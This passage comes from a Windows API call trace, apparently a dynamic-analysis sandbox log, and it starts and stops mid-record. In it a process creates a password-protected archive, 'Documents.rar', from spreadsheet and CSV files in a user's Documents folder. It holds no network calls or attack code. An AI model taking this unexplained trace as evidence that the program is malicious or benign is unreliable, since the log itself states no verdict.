hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e873d80 | out: hHeap=0x1162e7c0000) returned 1 [0082.788] GetTickCount () returned 0x2a7fe [0082.788] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17411705448) returned 1 [0082.788] GetTickCount () returned 0x2a7fe [0082.789] GetTickCount () returned 0x2a7fe [0082.789] GetTickCount () returned 0x2a7fe [0082.789] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.789] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.789] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.789] ResetEvent (hEvent=0x344) returned 1 [0082.789] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.791] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.791] ResetEvent (hEvent=0x344) returned 1 [0082.791] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.806] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.806] ResetEvent (hEvent=0x344) returned 1 [0082.806] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.810] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.810] GetTickCount () returned 0x2a81d [0082.810] GetLastError () returned 0x0 [0082.810] SetLastError (dwErrCode=0x0) [0082.810] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0082.810] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0082.810] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0082.810] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0082.812] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17414018315) returned 1 [0082.812] GetTickCount () returned 0x2a81d [0082.812] GetTickCount () returned 0x2a81d [0082.812] GetTickCount () returned 0x2a81d [0082.812] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2b8 | out: ppv=0x141a0dd2b8*=0x11632079b60) returned 0x0 [0082.812] TaskbarList:ITaskbarList3:SetProgressState (This=0x11632079b60, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0082.812] TaskbarList:ITaskbarList3:SetProgressValue (This=0x11632079b60, hwnd=0x102f8, ullCompleted=0x118621, ullTotal=0x31d668) returned 0x0 [0082.813] TaskbarList:IUnknown:Release (This=0x11632079b60) returned 0x0 [0082.813] GetLastError () returned 0x36b7 [0082.813] SetLastError (dwErrCode=0x36b7) [0082.813] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0082.813] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0082.813] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 19%") returned 5 [0082.813] SetWindowTextW (hWnd=0x10318, lpString=" 35%") returned 1 [0082.814] GetLastError () returned 0x0 [0082.814] SetLastError (dwErrCode=0x0) [0082.814] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0082.814] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 93%") returned 5 [0082.814] SetWindowTextW (hWnd=0x10314, lpString=" 92%") returned 1 [0082.814] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x23, lParam=0x0) returned 0x13 [0082.815] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0082.815] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0082.815] GetFocus () returned 0x1031c [0082.815] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0082.816] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0082.816] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0082.816] GetFocus () returned 0x1031c [0082.816] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0082.816] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.816] ResetEvent (hEvent=0x33c) returned 1 [0082.816] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.817] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.817] ResetEvent (hEvent=0x33c) returned 1 [0082.817] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.818] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.818] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0082.818] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0082.818] GetFocus () returned 0x1031c [0082.818] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0082.818] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.818] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x10445d [0082.818] SetFilePointer (in: hFile=0x32c, lDistanceToMove=157, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1044fa [0082.818] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.819] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.819] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.819] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.819] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x12ab0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x12ab0, lpOverlapped=0x0) returned 1 [0082.820] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0082.820] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0082.820] GetFocus () returned 0x1031c [0082.820] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0082.822] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.822] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1066077, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x10445d [0082.822] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x10445d [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.822] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e90, Size=0x48) returned 0x1162e888ea0 [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.822] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ef0 [0082.822] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.822] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d70 [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.822] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.822] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d70 | out: hHeap=0x1162e7c0000) returned 1 [0082.822] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x63) returned 0x1162e7f9990 [0082.822] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9990, Size=0x9f) returned 0x1162e874040 [0082.822] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e874042*, nNumberOfBytesToWrite=0x9d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e874042*, lpNumberOfBytesWritten=0x141a0d82c0*=0x9d, lpOverlapped=0x0) returned 1 [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d70 [0082.822] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x9d) returned 0x1162e873cd0 [0082.822] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.822] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e874040 | out: hHeap=0x1162e7c0000) returned 1 [0082.822] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x116faa [0082.825] CloseHandle (hObject=0x350) returned 1 [0082.825] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.825] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.825] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.825] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.825] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.825] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.826] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\iobweazsy.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.826] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.826] GetTickCount () returned 0x2a82d [0082.826] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.826] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.826] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.826] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.826] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="DLaLU5Np1FYR8L.ods") returned 18 [0082.826] SetWindowTextW (hWnd=0x10300, lpString="iOBweAZSY.ods") returned 1 [0082.827] GetTickCount () returned 0x2a82d [0082.827] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.827] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.827] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.827] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.827] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x13f)) [0082.827] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.827] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17415595849) returned 1 [0082.827] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x6ea5, lpOverlapped=0x0) returned 1 [0082.828] ReadFile (in: hFile=0x350, lpBuffer=0x11631b94ee5, nNumberOfBytesToRead=0xf915b, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b94ee5*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.828] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.828] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.828] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e889530 [0082.828] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.828] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.829] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e888ea0 [0082.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889530 | out: hHeap=0x1162e7c0000) returned 1 [0082.829] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.829] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b00 | out: hHeap=0x1162e7c0000) returned 1 [0082.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.829] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x5e) returned 0x1162e7f9530 [0082.829] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9530, Size=0x9a) returned 0x1162e8747d0 [0082.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.829] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8747d0 | out: hHeap=0x1162e7c0000) returned 1 [0082.832] GetTickCount () returned 0x2a82d [0082.832] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17416072396) returned 1 [0082.832] GetTickCount () returned 0x2a82d [0082.832] GetTickCount () returned 0x2a82d [0082.832] GetTickCount () returned 0x2a82d [0082.832] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.832] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.832] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.833] ResetEvent (hEvent=0x344) returned 1 [0082.833] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.835] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.835] ResetEvent (hEvent=0x344) returned 1 [0082.835] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.837] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.837] GetTickCount () returned 0x2a82d [0082.837] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17416546950) returned 1 [0082.837] GetTickCount () returned 0x2a82d [0082.837] GetTickCount () returned 0x2a82d [0082.837] GetTickCount () returned 0x2a82d [0082.837] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.837] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.837] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.837] ResetEvent (hEvent=0x33c) returned 1 [0082.837] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.838] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.838] ResetEvent (hEvent=0x33c) returned 1 [0082.838] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.838] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.838] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.838] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.838] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x116faa [0082.841] SetFilePointer (in: hFile=0x32c, lDistanceToMove=152, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x117042 [0082.841] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.841] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.841] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.841] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.841] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x6ef0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x6ef0, lpOverlapped=0x0) returned 1 [0082.842] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0082.842] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0082.842] GetFocus () returned 0x1031c [0082.842] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0082.842] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.842] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1142698, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x116faa [0082.842] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x116faa [0082.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a40 [0082.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0082.842] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e8893a0 [0082.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.842] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.842] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888810 [0082.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.842] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.843] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.843] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.843] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079950 | out: hHeap=0x1162e7c0000) returned 1 [0082.843] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a070 | out: hHeap=0x1162e7c0000) returned 1 [0082.843] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a40, Size=0x5e) returned 0x1162e7f97d0 [0082.843] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f97d0, Size=0x9a) returned 0x1162e8740f0 [0082.843] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e8740f2*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e8740f2*, lpNumberOfBytesWritten=0x141a0d82c0*=0x98, lpOverlapped=0x0) returned 1 [0082.843] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b60 [0082.843] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x98) returned 0x1163209b960 [0082.843] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.843] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8740f0 | out: hHeap=0x1162e7c0000) returned 1 [0082.843] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x11df32 [0082.843] CloseHandle (hObject=0x350) returned 1 [0082.843] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0082.843] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0082.843] GetFocus () returned 0x1031c [0082.843] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0082.845] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.845] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.845] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.845] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.845] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.845] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv" (normalized: 